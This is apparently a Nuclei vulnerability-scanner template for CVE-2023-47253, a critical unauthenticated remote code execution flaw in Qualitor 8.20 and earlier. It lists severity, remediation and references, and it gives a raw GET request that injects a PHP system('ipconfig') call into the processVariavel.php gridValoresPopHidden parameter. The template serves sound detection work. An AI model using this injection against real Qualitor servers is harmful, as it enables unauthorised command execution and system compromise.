id: CVE-2023-47253

info:
  name: Qualitor <= 8.20 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands via PHP code injection, potentially compromising the entire Qualitor system.
  remediation: |
    Upgrade Qualitor to version 8.21 or later.
  reference:
    - https://github.com/vnxdtzip/CVE-2023-47253
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
    - https://openxp.xpsecsecurity.io/blog/cve-2023-47253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47253
    cwe-id: CWE-77
    epss-score: 0.14422
    epss-percentile: 0.96173
    cpe: cpe:2.3:a:qualitor:qalitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2023,rce,qualitor,vuln,vkev

http:
  - raw:
      - |
        GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig"); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows","DNS")'
          - 'contains(content_type,"text/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100fcbff89ee7b615271612c5a8bb6630cfd06f03c0b00cc3b5469d981bbbf9bb72022100e09af10fe90626aa1278136cf13c950669af3e337ac96081b5f52a99af2c6900:922c64590222798bb761d5b6d8e72950